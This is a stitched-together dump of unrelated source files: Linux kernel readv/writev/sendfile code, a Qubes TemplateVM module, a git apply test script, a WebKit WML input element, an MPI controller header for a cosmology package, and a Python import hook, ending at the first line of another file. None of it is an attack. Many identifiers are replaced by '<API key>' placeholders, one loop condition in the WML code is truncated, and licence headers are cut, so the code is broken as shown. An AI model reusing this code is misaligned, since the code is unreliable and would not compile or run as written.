ssize_t <API key>(int type, const struct iovec __user * uvector,
unsigned long nr_segs, unsigned long fast_segs,
struct iovec *fast_pointer,
struct iovec **ret_pointer)
{
unsigned long seg;
ssize_t ret;
struct iovec *iov = fast_pointer;
/*
* SuS says "The readv() function *may* fail if the iovcnt argument
* was less than or equal to 0, or greater than {IOV_MAX}. Linux has
* traditionally returned zero for zero segments, so...
*/
if (nr_segs == 0) {
ret = 0;
goto out;
}
/*
* First get the "struct iovec" from user memory and
* verify all the pointers
*/
if (nr_segs > UIO_MAXIOV) {
ret = -EINVAL;
goto out;
}
if (nr_segs > fast_segs) {
iov = kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);
if (iov == NULL) {
ret = -ENOMEM;
goto out;
}
}
if (copy_from_user(iov, uvector, nr_segs*sizeof(*uvector))) {
ret = -EFAULT;
goto out;
}
/*
* According to the Single Unix Specification we should return EINVAL
* if an element length is < 0 when cast to ssize_t or if the
* total length would overflow the ssize_t return value of the
* system call.
*/
ret = 0;
for (seg = 0; seg < nr_segs; seg++) {
void __user *buf = iov[seg].iov_base;
ssize_t len = (ssize_t)iov[seg].iov_len;
/* see if we we're about to use an invalid len or if
* it's about to overflow ssize_t */
if (len < 0 || (ret + len < ret)) {
ret = -EINVAL;
goto out;
}
if (unlikely(!access_ok(vrfy_dir(type), buf, len))) {
ret = -EFAULT;
goto out;
}
ret += len;
}
out:
*ret_pointer = iov;
return ret;
}
static ssize_t do_readv_writev(int type, struct file *file,
const struct iovec __user * uvector,
unsigned long nr_segs, loff_t *pos)
{
size_t tot_len;
struct iovec iovstack[UIO_FASTIOV];
struct iovec *iov = iovstack;
ssize_t ret;
io_fn_t fn;
iov_fn_t fnv;
if (!file->f_op) {
ret = -EINVAL;
goto out;
}
ret = <API key>(type, uvector, nr_segs,
ARRAY_SIZE(iovstack), iovstack, &iov);
if (ret <= 0)
goto out;
tot_len = ret;
ret = rw_verify_area(type, file, pos, tot_len);
if (ret < 0)
goto out;
fnv = NULL;
if (type == READ) {
fn = file->f_op->read;
fnv = file->f_op->aio_read;
} else {
fn = (io_fn_t)file->f_op->write;
fnv = file->f_op->aio_write;
}
if (fnv)
ret = <API key>(file, iov, nr_segs, tot_len,
pos, fnv);
else
ret = <API key>(file, iov, nr_segs, pos, fn);
out:
if (iov != iovstack)
kfree(iov);
if ((ret + (type == READ)) > 0) {
if (type == READ)
fsnotify_access(file->f_path.dentry);
else
fsnotify_modify(file->f_path.dentry);
}
return ret;
}
ssize_t vfs_readv(struct file *file, const struct iovec __user *vec,
unsigned long vlen, loff_t *pos)
{
if (!(file->f_mode & FMODE_READ))
return -EBADF;
if (!file->f_op || (!file->f_op->aio_read && !file->f_op->read))
return -EINVAL;
return do_readv_writev(READ, file, vec, vlen, pos);
}
EXPORT_SYMBOL(vfs_readv);
ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
unsigned long vlen, loff_t *pos)
{
if (!(file->f_mode & FMODE_WRITE))
return -EBADF;
if (!file->f_op || (!file->f_op->aio_write && !file->f_op->write))
return -EINVAL;
return do_readv_writev(WRITE, file, vec, vlen, pos);
}
EXPORT_SYMBOL(vfs_writev);
SYSCALL_DEFINE3(readv, unsigned long, fd, const struct iovec __user *, vec,
unsigned long, vlen)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_readv(file, vec, vlen, &pos);
trace_fs_readv(fd, vec, vlen, ret);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}
if (ret > 0)
add_rchar(current, ret);
inc_syscr(current);
return ret;
}
SYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,
unsigned long, vlen)
{
struct file *file;
ssize_t ret = -EBADF;
int fput_needed;
file = fget_light(fd, &fput_needed);
if (file) {
loff_t pos = file_pos_read(file);
ret = vfs_writev(file, vec, vlen, &pos);
trace_fs_writev(fd, vec, vlen, ret);
file_pos_write(file, pos);
fput_light(file, fput_needed);
}
if (ret > 0)
add_wchar(current, ret);
inc_syscw(current);
return ret;
}
static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
size_t count, loff_t max)
{
struct file * in_file, * out_file;
struct inode * in_inode, * out_inode;
loff_t pos;
ssize_t retval;
int fput_needed_in, fput_needed_out, fl;
/*
* Get input file, and verify that it is ok..
*/
retval = -EBADF;
in_file = fget_light(in_fd, &fput_needed_in);
if (!in_file)
goto out;
if (!(in_file->f_mode & FMODE_READ))
goto fput_in;
retval = -EINVAL;
in_inode = in_file->f_path.dentry->d_inode;
if (!in_inode)
goto fput_in;
if (!in_file->f_op || !in_file->f_op->splice_read)
goto fput_in;
retval = -ESPIPE;
if (!ppos)
ppos = &in_file->f_pos;
else
if (!(in_file->f_mode & FMODE_PREAD))
goto fput_in;
retval = rw_verify_area(READ, in_file, ppos, count);
if (retval < 0)
goto fput_in;
count = retval;
/*
* Get output file, and verify that it is ok..
*/
retval = -EBADF;
out_file = fget_light(out_fd, &fput_needed_out);
if (!out_file)
goto fput_in;
if (!(out_file->f_mode & FMODE_WRITE))
goto fput_out;
retval = -EINVAL;
if (!out_file->f_op || !out_file->f_op->sendpage)
goto fput_out;
out_inode = out_file->f_path.dentry->d_inode;
retval = rw_verify_area(WRITE, out_file, &out_file->f_pos, count);
if (retval < 0)
goto fput_out;
count = retval;
if (!max)
max = min(in_inode->i_sb->s_maxbytes, out_inode->i_sb->s_maxbytes);
pos = *ppos;
retval = -EINVAL;
if (unlikely(pos < 0))
goto fput_out;
if (unlikely(pos + count > max)) {
retval = -EOVERFLOW;
if (pos >= max)
goto fput_out;
count = max - pos;
}
fl = 0;
#if 0
/*
* We need to debate whether we can enable this or not. The
* man page documents EAGAIN return for the output at least,
* and the application is arguably buggy if it doesn't expect
* EAGAIN on a non-blocking file descriptor.
*/
if (in_file->f_flags & O_NONBLOCK)
fl = SPLICE_F_NONBLOCK;
#endif
retval = do_splice_direct(in_file, ppos, out_file, count, fl);
if (retval > 0) {
add_rchar(current, retval);
add_wchar(current, retval);
}
inc_syscr(current);
inc_syscw(current);
if (*ppos > max)
retval = -EOVERFLOW;
fput_out:
fput_light(out_file, fput_needed_out);
fput_in:
fput_light(in_file, fput_needed_in);
out:
return retval;
}
SYSCALL_DEFINE4(sendfile, int, out_fd, int, in_fd, off_t __user *, offset, size_t, count)
{
loff_t pos;
off_t off;
ssize_t ret;
if (offset) {
if (unlikely(get_user(off, offset)))
return -EFAULT;
pos = off;
ret = do_sendfile(out_fd, in_fd, &pos, count, MAX_NON_LFS);
if (unlikely(put_user(pos, offset)))
return -EFAULT;
return ret;
}
return do_sendfile(out_fd, in_fd, NULL, count, 0);
}
SYSCALL_DEFINE4(sendfile64, int, out_fd, int, in_fd, loff_t __user *, offset, size_t, count)
{
loff_t pos;
ssize_t ret;
if (offset) {
if (unlikely(copy_from_user(&pos, offset, sizeof(loff_t))))
return -EFAULT;
ret = do_sendfile(out_fd, in_fd, &pos, count, 0);
if (unlikely(put_user(pos, offset)))
return -EFAULT;
return ret;
}
return do_sendfile(out_fd, in_fd, NULL, count, 0);
}
|
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# This library is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# You should have received a copy of the GNU Lesser General Public
''' This module contains the TemplateVM implementation '''
import qubes
import qubes.config
import qubes.vm.qubesvm
import qubes.vm.mix.net
from qubes.config import defaults
from qubes.vm.qubesvm import QubesVM
class TemplateVM(QubesVM):
'''Template for AppVM'''
dir_path_prefix = qubes.config.system_path['qubes_templates_dir']
@property
def appvms(self):
''' Returns a generator containing all domains based on the current
TemplateVM.
'''
for vm in self.app.domains:
if hasattr(vm, 'template') and vm.template is self:
yield vm
netvm = qubes.VMProperty('netvm', load_stage=4, allow_none=True,
default=None,
# pylint: disable=protected-access
setter=qubes.vm.qubesvm.QubesVM.netvm._setter,
doc='VM that provides network connection to this domain. When '
'`None`, machine is disconnected.')
def __init__(self, *args, **kwargs):
assert 'template' not in kwargs, "A TemplateVM can not have a template"
self.volume_config = {
'root': {
'name': 'root',
'snap_on_start': False,
'save_on_stop': True,
'rw': True,
'source': None,
'size': defaults['root_img_size'],
},
'private': {
'name': 'private',
'snap_on_start': False,
'save_on_stop': True,
'rw': True,
'source': None,
'size': defaults['private_img_size'],
'revisions_to_keep': 0,
},
'volatile': {
'name': 'volatile',
'size': defaults['root_img_size'],
'snap_on_start': False,
'save_on_stop': False,
'rw': True,
},
'kernel': {
'name': 'kernel',
'snap_on_start': False,
'save_on_stop': False,
'rw': False
}
}
super(TemplateVM, self).__init__(*args, **kwargs)
@qubes.events.handler('property-set:default_user',
'property-set:kernel',
'property-set:kernelopts',
'property-set:vcpus',
'property-set:memory',
'property-set:maxmem',
'property-set:qrexec_timeout',
'property-set:shutdown_timeout',
'property-set:management_dispvm')
def <API key>(self, _event, name, newvalue, oldvalue=None):
"""Send event about default value change to child VMs
(which use default inherited from the template).
This handler is supposed to be set for properties using
`<API key>()` function for the default value.
"""
if newvalue == oldvalue:
return
for vm in self.appvms:
if not vm.property_is_default(name):
continue
vm.fire_event('property-reset:' + name, name=name)
|
#!/bin/sh
test_description='git apply --whitespace=strip and configuration file.
'
. ./test-lib.sh
test_expect_success setup '
mkdir sub &&
echo A >sub/file1 &&
cp sub/file1 saved &&
git add sub/file1 &&
echo "B " >sub/file1 &&
git diff >patch.file
'
# Also handcraft GNU diff output; note this has trailing whitespace.
tr '_' ' ' >gpatch.file <<\EOF &&
file1 2007-02-21 01:04:24.000000000 -0800
+++ file1+ 2007-02-21 01:07:44.000000000 -0800
@@ -1 +1 @@
-A
+B_
EOF
sed -e 's|file1|sub/&|' gpatch.file >gpatch-sub.file &&
sed -e '
/^--- /s|file1|a/sub/&|
/^+++ /s|file1|b/sub/&|
' gpatch.file >gpatch-ab-sub.file &&
check_result () {
if grep " " "$1"
then
echo "Eh?"
false
elif grep B "$1"
then
echo Happy
else
echo "Huh?"
false
fi
}
test_expect_success 'apply --whitespace=strip' '
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
git apply --whitespace=strip patch.file &&
check_result sub/file1
'
test_expect_success 'apply --whitespace=strip from config' '
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
git config apply.whitespace strip &&
git apply patch.file &&
check_result sub/file1
'
D=$(pwd)
test_expect_success 'apply --whitespace=strip in subdir' '
cd "$D" &&
git config --unset-all apply.whitespace &&
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
cd sub &&
git apply --whitespace=strip ../patch.file &&
check_result file1
'
test_expect_success 'apply --whitespace=strip from config in subdir' '
cd "$D" &&
git config apply.whitespace strip &&
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
cd sub &&
git apply ../patch.file &&
check_result file1
'
test_expect_success 'same in subdir but with traditional patch input' '
cd "$D" &&
git config apply.whitespace strip &&
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
cd sub &&
git apply ../gpatch.file &&
check_result file1
'
test_expect_success 'same but with traditional patch input of depth 1' '
cd "$D" &&
git config apply.whitespace strip &&
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
cd sub &&
git apply ../gpatch-sub.file &&
check_result file1
'
test_expect_success 'same but with traditional patch input of depth 2' '
cd "$D" &&
git config apply.whitespace strip &&
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
cd sub &&
git apply ../gpatch-ab-sub.file &&
check_result file1
'
test_expect_success 'same but with traditional patch input of depth 1' '
cd "$D" &&
git config apply.whitespace strip &&
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
git apply -p0 gpatch-sub.file &&
check_result sub/file1
'
test_expect_success 'same but with traditional patch input of depth 2' '
cd "$D" &&
git config apply.whitespace strip &&
rm -f sub/file1 &&
cp saved sub/file1 &&
git update-index --refresh &&
git apply gpatch-ab-sub.file &&
check_result sub/file1
'
test_expect_success 'in subdir with traditional patch input' '
cd "$D" &&
git config apply.whitespace strip &&
cat >.gitattributes <<-EOF &&
|
#include "config.h"
#if ENABLE(WML)
#include "WMLInputElement.h"
#include "EventNames.h"
#include "FormDataList.h"
#include "Frame.h"
#include "HTMLNames.h"
#include "KeyboardEvent.h"
#include "MappedAttribute.h"
#include "<API key>.h"
#include "TextEvent.h"
#include "WMLDocument.h"
#include "WMLNames.h"
#include "WMLPageState.h"
namespace WebCore {
WMLInputElement::WMLInputElement(const QualifiedName& tagName, Document* doc)
: <API key>(tagName, doc)
, m_isPasswordField(false)
, m_isEmptyOk(false)
, <API key>(0)
{
}
WMLInputElement::~WMLInputElement()
{
if (m_isPasswordField)
document()-><API key>(this);
}
static const AtomicString& formatCodes()
{
DEFINE_STATIC_LOCAL(AtomicString, codes, ("AaNnXxMm"));
return codes;
}
bool WMLInputElement::isKeyboardFocusable(KeyboardEvent*) const
{
return <API key>::isFocusable();
}
bool WMLInputElement::isMouseFocusable() const
{
return <API key>::isFocusable();
}
void WMLInputElement::dispatchFocusEvent()
{
InputElement::dispatchFocusEvent(this, this);
WMLElement::dispatchFocusEvent();
}
void WMLInputElement::dispatchBlurEvent()
{
// Firstly check if it is allowed to leave this input field
String val = value();
if (
//<API key>
/*(!m_isEmptyOk && val.isEmpty()) || */
//SAMSUNG_CHANGES_END
!<API key>(val)) {
<API key>(true);
return;
}
// update the name variable of WML input elmenet
String nameVariable = formControlName();
if (!nameVariable.isEmpty())
<API key>(document())->storeVariable(nameVariable, val);
InputElement::dispatchBlurEvent(this, this);
WMLElement::dispatchBlurEvent();
}
void WMLInputElement::<API key>(bool <API key>)
{
InputElement::<API key>(m_data, this, this, <API key>);
}
void WMLInputElement::aboutToUnload()
{
InputElement::aboutToUnload(this, this);
}
int WMLInputElement::size() const
{
return m_data.size();
}
const AtomicString& WMLInputElement::formControlType() const
{
// needs to be lowercase according to DOM spec
if (m_isPasswordField) {
DEFINE_STATIC_LOCAL(const AtomicString, password, ("password"));
return password;
}
DEFINE_STATIC_LOCAL(const AtomicString, text, ("text"));
return text;
}
const AtomicString& WMLInputElement::formControlName() const
{
return m_data.name();
}
const String& WMLInputElement::suggestedValue() const
{
return m_data.suggestedValue();
}
String WMLInputElement::value() const
{
String value = m_data.value();
if (value.isNull())
value = constrainValue(getAttribute(HTMLNames::valueAttr));
return value;
}
void WMLInputElement::setValue(const String& value, bool sendChangeEvent)
{
<API key>(false);
m_data.setValue(constrainValue(value));
if (inDocument())
document()->updateStyleIfNeeded();
if (renderer())
renderer()->updateFromElement();
setNeedsStyleRecalc();
unsigned max = m_data.value().length();
if (document()->focusedNode() == this)
InputElement::<API key>(this, this, max, max);
else
cacheSelection(max, max);
InputElement::<API key>(this);
}
// SAMSUNG_WML_FIXES+
// wml/struct/control/input/format/1
void WMLInputElement::<API key>(const String& value)
{
//InputElement::<API key>(m_data, this, this);
<API key>(false);
m_data.setValue(constrainValue(value));
if (inDocument())
document()->updateStyleIfNeeded();
if (renderer())
renderer()->updateFromElement();
setNeedsStyleRecalc();
InputElement::<API key>(this);
}
// SAMSUNG_WML_FIXES-
void WMLInputElement::setValueForUser(const String& value)
{
/* InputElement class defines pure virtual function 'setValueForUser', which
will be useful only in HTMLInputElement. Do nothing in 'WMLInputElement'.
*/
}
void WMLInputElement::<API key>(const String& value)
{
InputElement::<API key>(m_data, this, this, value);
}
bool WMLInputElement::<API key>(String& result) const
{
if (m_isPasswordField)
return false;
result = value();
return true;
}
void WMLInputElement::<API key>(const String& state)
{
ASSERT(!m_isPasswordField); // should never save/restore password fields
setValue(state, true);
}
void WMLInputElement::select()
{
if (RenderTextControl* r = toRenderTextControl(renderer()))
r->select();
}
void WMLInputElement::accessKeyAction(bool)
{
// should never restore previous selection here
focus(false);
}
void WMLInputElement::<API key>(MappedAttribute* attr)
{
if (attr->name() == HTMLNames::nameAttr)
m_data.setName(<API key>(attr->value()));
else if (attr->name() == HTMLNames::typeAttr) {
String type = <API key>(attr->value());
m_isPasswordField = (type == "password");
} else if (attr->name() == HTMLNames::valueAttr) {
// We only need to setChanged if the form is looking at the default value right now.
if (m_data.value().isNull())
setNeedsStyleRecalc();
<API key>(false);
} else if (attr->name() == HTMLNames::maxlengthAttr)
InputElement::<API key>(m_data, this, this, attr);
else if (attr->name() == HTMLNames::sizeAttr)
InputElement::parseSizeAttribute(m_data, this, attr);
else if (attr->name() == WMLNames::formatAttr)
m_formatMask = validateInputMask(<API key>(attr->value()));
else if (attr->name() == WMLNames::emptyokAttr)
m_isEmptyOk = (attr->value() == "true");
else
WMLElement::<API key>(attr);
// FIXME: Handle 'accesskey' attribute
// FIXME: Handle 'tabindex' attribute
// FIXME: Handle 'title' attribute
}
void WMLInputElement::<API key>(const Element* source)
{
const WMLInputElement* sourceElement = static_cast<const WMLInputElement*>(source);
m_data.setValue(sourceElement->m_data.value());
WMLElement::<API key>(source);
}
RenderObject* WMLInputElement::createRenderer(RenderArena* arena, RenderStyle*)
{
return new (arena) <API key>(this, false);
}
void WMLInputElement::detach()
{
WMLElement::detach();
<API key>(false);
}
bool WMLInputElement::appendFormData(FormDataList& encoding, bool)
{
if (formControlName().isEmpty())
return false;
encoding.appendData(formControlName(), value());
return true;
}
void WMLInputElement::reset()
{
setValue(String(), true);
}
void WMLInputElement::defaultEventHandler(Event* evt)
{
bool <API key> = false;
String filteredString;
if (evt->type() == eventNames().textInputEvent && evt->isTextEvent()) {
TextEvent* textEvent = static_cast<TextEvent*>(evt);
if (textEvent->data() == "\n")
<API key> = true;
// SAMSUNG_WML_FIXES+
// wml/struct/control/input/format/1
// else if (renderer() && !<API key>(textEvent->data()[0], toRenderTextControl(renderer())->text().length() + 1))
else if (renderer()) {
WMLElement::defaultEventHandler(evt);
if (evt->defaultHandled()) {
filteredString = filterInvalidChars((toRenderTextControl(renderer()))->text());
<API key>(filteredString);
return;
}
}
// SAMSUNG_WML_FIXES-
}
if (evt->type() == eventNames().keydownEvent && evt->isKeyboardEvent() && focused() && document()->frame()
&& document()->frame()-><API key>(this, static_cast<KeyboardEvent*>(evt))) {
evt->setDefaultHandled();
return;
}
// Let the key handling done in EventTargetNode take precedence over the event handling here for editable text fields
if (!<API key>) {
WMLElement::defaultEventHandler(evt);
if (evt->defaultHandled())
return;
}
// Use key press event here since sending simulated mouse events
// on key down blocks the proper sending of the key press event.
if (evt->type() == eventNames().keypressEvent && evt->isKeyboardEvent()) {
// Simulate mouse click on the default form button for enter for these types of elements.
if (static_cast<KeyboardEvent*>(evt)->charCode() == '\r')
<API key> = true;
}
if (<API key>) {
// Fire onChange for text fields.
RenderObject* r = renderer();
if (r && toRenderTextControl(r)-><API key>()) {
dispatchEvent(Event::create(eventNames().changeEvent, true, false));
// Refetch the renderer since arbitrary JS code run during onchange can do anything, including destroying it.
r = renderer();
if (r)
toRenderTextControl(r)-><API key>(false);
}
evt->setDefaultHandled();
return;
}
if (evt-><API key>())
InputElement::<API key>(m_data, this, this, evt);
if (renderer() && (evt->isMouseEvent() || evt->isDragEvent() || evt->isWheelEvent() || evt->type() == eventNames().blurEvent || evt->type() == eventNames().focusEvent))
<API key>(renderer())->forwardEvent(evt);
}
void WMLInputElement::cacheSelection(int start, int end)
{
m_data.<API key>(start);
m_data.<API key>(end);
}
String WMLInputElement::constrainValue(const String& proposedValue) const
{
return InputElement::<API key>(this, proposedValue, m_data.maxLength());
}
void WMLInputElement::<API key>()
{
ASSERT(m_isPasswordField);
reset();
}
void WMLInputElement::<API key>()
{
// Always unregister for cache callbacks when leaving a document, even if we would otherwise like to be registered
if (m_isPasswordField)
document()-><API key>(this);
WMLElement::<API key>();
}
void WMLInputElement::<API key>()
{
if (m_isPasswordField)
document()-><API key>(this);
WMLElement::<API key>();
}
void WMLInputElement::initialize()
{
String nameVariable = formControlName();
String variableValue;
WMLPageState* pageSate = <API key>(document());
ASSERT(pageSate);
if (!nameVariable.isEmpty())
variableValue = pageSate->getVariable(nameVariable);
if (variableValue.isEmpty() || !<API key>(variableValue)) {
String val = value();
if (<API key>(val))
variableValue = val;
else
variableValue = "";
pageSate->storeVariable(nameVariable, variableValue);
}
setValue(variableValue, true);
if (!hasAttribute(WMLNames::emptyokAttr)) {
if (m_formatMask.isEmpty() ||
// check if the format codes is just "*f"
(m_formatMask.length() == 2 && m_formatMask[0] == '*' && formatCodes().find(m_formatMask[1]) != -1))
m_isEmptyOk = true;
}
}
String WMLInputElement::validateInputMask(const String& inputMask)
{
bool isValid = true;
bool hasWildcard = false;
unsigned escapeCharCount = 0;
unsigned maskLength = inputMask.length();
UChar formatCode;
for (unsigned i = 0; i < maskLength; ++i) {
formatCode = inputMask[i];
if (formatCodes().find(formatCode) == -1) {
if (formatCode == '*' || (WTF::isASCIIDigit(formatCode) && formatCode != '0')) {
// validate codes which ends with '*f' or 'nf'
formatCode = inputMask[++i];
if ((i + 1 != maskLength) || formatCodes().find(formatCode) == -1) {
isValid = false;
break;
}
hasWildcard = true;
} else if (formatCode == '\\') {
//skip over the next mask character
++i;
++escapeCharCount;
} else {
isValid = false;
break;
}
}
}
if (!isValid)
return String();
// calculate the number of characters allowed to be entered by input mask
<API key> = maskLength;
if (escapeCharCount)
<API key> -= escapeCharCount;
if (hasWildcard) {
formatCode = inputMask[maskLength - 2];
if (formatCode == '*')
<API key> = m_data.maxLength();
else {
unsigned leftLen = String(&formatCode).toInt();
<API key> = leftLen + <API key> - 2;
}
}
return inputMask;
}
// SAMSUNG_WML_FIXES+
String WMLInputElement::filterInvalidChars(const String& inputChars)
{
String filteredString;
unsigned charCount = 0;
for (unsigned i = 0; i < inputChars.length(); ++i) {
if (<API key>(inputChars[i], charCount+1, false)) {
filteredString.append(inputChars[i]);
charCount++;
}
}
return filteredString;
}
// SAMSUNG_WML_FIXES-
bool WMLInputElement::<API key>(const String& inputChars)
{
for (unsigned i = 0; i < inputChars.length(); ++i)
if (!<API key>(inputChars[i], i + 1, false))
return false;
return true;
}
bool WMLInputElement::<API key>(UChar inChar, unsigned inputCharCount, bool isUserInput)
{
if (m_formatMask.isEmpty())
return true;
if (inputCharCount > <API key>)
return false;
unsigned maskIndex = 0;
if (isUserInput) {
unsigned cursorPosition = 0;
if (renderer())
cursorPosition = toRenderTextControl(renderer())->selectionStart();
else
cursorPosition = m_data.<API key>();
maskIndex = <API key>(cursorPosition);
} else
maskIndex = <API key>(inputCharCount - 1);
bool ok = true;
UChar mask = m_formatMask[maskIndex];
// match the inputed character with input mask
switch (mask) {
case 'A':
ok = !WTF::isASCIIDigit(inChar) && !WTF::isASCIILower(inChar) && WTF::isASCIIPrintable(inChar);
break;
case 'a':
ok = !WTF::isASCIIDigit(inChar) && !WTF::isASCIIUpper(inChar) && WTF::isASCIIPrintable(inChar);
break;
case 'N':
ok = WTF::isASCIIDigit(inChar);
break;
case 'n':
ok = !WTF::isASCIIAlpha(inChar) && WTF::isASCIIPrintable(inChar);
break;
case 'X':
ok = !WTF::isASCIILower(inChar) && WTF::isASCIIPrintable(inChar);
break;
case 'x':
ok = !WTF::isASCIIUpper(inChar) && WTF::isASCIIPrintable(inChar);
break;
case 'M':
ok = WTF::isASCIIPrintable(inChar);
break;
case 'm':
ok = WTF::isASCIIPrintable(inChar);
break;
default:
ok = (mask == inChar);
break;
}
return ok;
}
unsigned WMLInputElement::<API key>(unsigned cursorPosition)
{
UChar mask;
int index = -1;
do {
mask = m_formatMask[++index];
if (mask == '\\')
++index;
else if (mask == '*' || (WTF::isASCIIDigit(mask) && mask != '0')) {
index = m_formatMask.length() - 1;
break;
}
} while (cursorPosition
return index;
}
}
#endif
|
// This file is part of the Sussex Effective Field Theory for
// Large-Scale Structure platform (LSSEFT).
// LSSEFT is free software: you can redistribute it and/or modify
// (at your option) any later version.
// LSSEFT is distributed in the hope that it will be useful,
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// @contributor: David Seery <D.Seery@sussex.ac.uk>
#ifndef <API key>
#define <API key>
#include <memory>
#include "argument_cache.h"
#include "local_environment.h"
#include "scheduler.h"
#include "database/data_manager.h"
#include "database/tokens.h"
#include "cosmology/types.h"
#include "cosmology/FRW_model.h"
#include "cosmology/<API key>.h"
#include "cosmology/Pk_filter.h"
#include "cosmology/<API key>.h"
#include "cosmology/<API key>.h"
#include "cosmology/concepts/range.h"
#include "cosmology/concepts/power_spectrum.h"
#include "error/error_handler.h"
#include "MPI_detail/mpi_traits.h"
#include "MPI_detail/mpi_payloads.h"
#include "boost/mpi.hpp"
class master_controller
{
// CONSTRUCTOR, DESTRUCTOR
public:
//! construct a master controller delegate
master_controller(boost::mpi::environment& me, boost::mpi::communicator& mw, argument_cache& ac);
//! destructor is default
~master_controller() = default;
// INTERFACE
public:
//! process command-line arguments
void process_arguments(int argc, char* argv[]);
//! execute
void execute();
// RANK TO WORKER NUMBER CONVERSIONS (worker number runs from 1 .. n-1, rank runs from 1 .. n, based on master process on rank 0)
protected:
//! Get worker number
unsigned int worker_number() { return(static_cast<unsigned int>(this->mpi_world.rank()-1)); }
//! Return MPI rank of this process
unsigned int get_rank(void) const { return(static_cast<unsigned int>(this->mpi_world.rank())); }
//! Map worker number to communicator rank
unsigned int worker_rank(unsigned int worker_number) const { return(worker_number+1); }
//! Map communicator rank to worker number
unsigned int worker_number(unsigned int worker_rank) const { return(worker_rank-1); }
// WORKER HANDLING
protected:
//! execute a job specified by a work list
template <typename WorkItemList>
void scatter(const FRW_model& model, const FRW_model_token& token, WorkItemList& work, data_manager& dmgr);
//! store a payload returned by a worker
template <typename WorkItem>
void store_payload(const FRW_model_token& token, unsigned int source, data_manager& dmgr);
//! terminate worker processes
void terminate_workers();
//! instruct workers to await new tasks
std::unique_ptr<scheduler> set_up_workers(unsigned int tag);
//! instruct workers that the current batch of tasks is finished
void close_down_workers();
// COMPUTE ONE-LOOP KERNELS
protected:
//! compute kernels at given redshifts
void <API key>(const FRW_model& model, const FRW_model_token& token, z_database& z_db, data_manager& dmgr,
const growth_params_token& params_tok, const growth_params& params);
// INTERNAL DATA
private:
// MPI environment
//! MPI environment object, inherited from parent task manager
boost::mpi::environment& mpi_env;
//! MPI communicator, inherited from parent task manager
boost::mpi::communicator& mpi_world;
// Caches
//! argument cache, inherited from parent task manager
argument_cache& arg_cache;
//! local environment properties (constructed locally)
local_environment local_env;
// Functional blocks
//! error handler
error_handler err_handler;
};
template <typename WorkItemList>
void master_controller::scatter(const FRW_model& model, const FRW_model_token& token, WorkItemList& work, data_manager& dmgr)
{
using WorkItem = typename WorkItemList::value_type;
boost::timer::cpu_timer timer; // total CPU time
boost::timer::cpu_timer write_timer; // time spent writing to the database
write_timer.stop();
if(this->mpi_world.size() == 1) throw runtime_exception(exception_type::runtime_error, <API key>);
// ask data manager to prepare for new writes
boost::timer::cpu_timer pre_timer; // time spent doing preparation
dmgr.setup_write(work);
pre_timer.stop();
// instruct slave processes to await transfer function tasks
std::unique_ptr<scheduler> sch = this->set_up_workers(MPI_detail::work_item_traits<WorkItem>::new_task_message());
bool sent_closedown = false;
auto next_work_item = work.cbegin();
while(!sch->all_inactive())
{
// check whether all work is exhausted
if(next_work_item == work.cend() && !sent_closedown)
{
sent_closedown = true;
this->close_down_workers();
}
// check whether any workers are waiting for assignments
if(next_work_item != work.cend() && sch->is_assignable())
{
std::vector<unsigned int> unassigned_list = sch->make_assignment();
std::vector<boost::mpi::request> requests;
for(std::vector<unsigned int>::const_iterator t = unassigned_list.begin();
next_work_item != work.cend() && t != unassigned_list.end(); ++t)
{
// assign next work item to this worker
requests.push_back(this->mpi_world.isend(this->worker_rank(*t),
MPI_detail::work_item_traits<WorkItem>::new_item_message(),
MPI_detail::build_payload(model, next_work_item)));
sch->mark_assigned(*t);
++next_work_item;
}
// wait for all messages to be received
boost::mpi::wait_all(requests.begin(), requests.end());
}
// check whether any messages are waiting in the queue
boost::optional<boost::mpi::status> stat = this->mpi_world.iprobe();
while(stat) // consume messages until no more are available
{
switch(stat->tag())
{
case MPI_detail::<API key>:
{
write_timer.resume();
this->store_payload<WorkItem>(token, stat->source(), dmgr);
write_timer.stop();
sch->mark_unassigned(this->worker_number(stat->source()));
break;
}
case MPI_detail::<API key>:
{
this->mpi_world.recv(stat->source(), MPI_detail::<API key>);
sch->mark_inactive(this->worker_number(stat->source()));
break;
}
default:
{
assert(false);
}
}
stat = this->mpi_world.iprobe();
}
}
boost::timer::cpu_timer post_timer; // time spent tidying up the database after a write
dmgr.finalize_write(work);
post_timer.stop();
timer.stop();
std::ostringstream msg;
msg << "completed work in time " << format_time(timer.elapsed().wall)
<< " ["
<< "database performance: prepare " << format_time(pre_timer.elapsed().wall) << ", "
<< "writes " << format_time(write_timer.elapsed().wall) << ", "
<< "cleanup " << format_time(post_timer.elapsed().wall)
<< "]";
this->err_handler.info(msg.str());
}
template <typename WorkItem>
void master_controller::store_payload(const FRW_model_token& token, unsigned int source, data_manager& dmgr)
{
typename MPI_detail::work_item_traits<WorkItem>::<API key> payload;
this->mpi_world.recv(source, MPI_detail::<API key>, payload);
dmgr.store(token, payload.get_data());
}
#endif //<API key>
|
# This program is free software; you can redistribute it and/or
# as published by the Free Software Foundation; either version 2
# This program is distributed in the hope that it will be useful,
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA
import sys
def hook(mod):
if sys.version[0] > '1':
for i in range(len(mod.imports)-1, -1, -1):
if mod.imports[i][0] == 'strop':
del mod.imports[i]
return mod
|
/*!
\file ifxmips_pci.c
